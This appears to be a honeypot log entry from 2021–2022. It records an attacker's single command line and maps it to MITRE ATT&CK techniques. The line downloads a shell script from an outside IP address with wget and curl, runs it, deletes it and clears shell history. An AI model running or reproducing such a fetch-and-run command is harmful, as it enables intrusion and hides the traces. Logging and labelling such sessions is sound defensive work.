Honeypot attack session (period 2021_2022), commands issued:
cd /tmp ; wget http://51.210.71.115/ok.sh ; sh ok.sh ; rm -rf ok.sh ; curl -O http://51.210.71.115/ok.sh ; sh ok.sh ; rm -rf ok.sh ; history -c

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal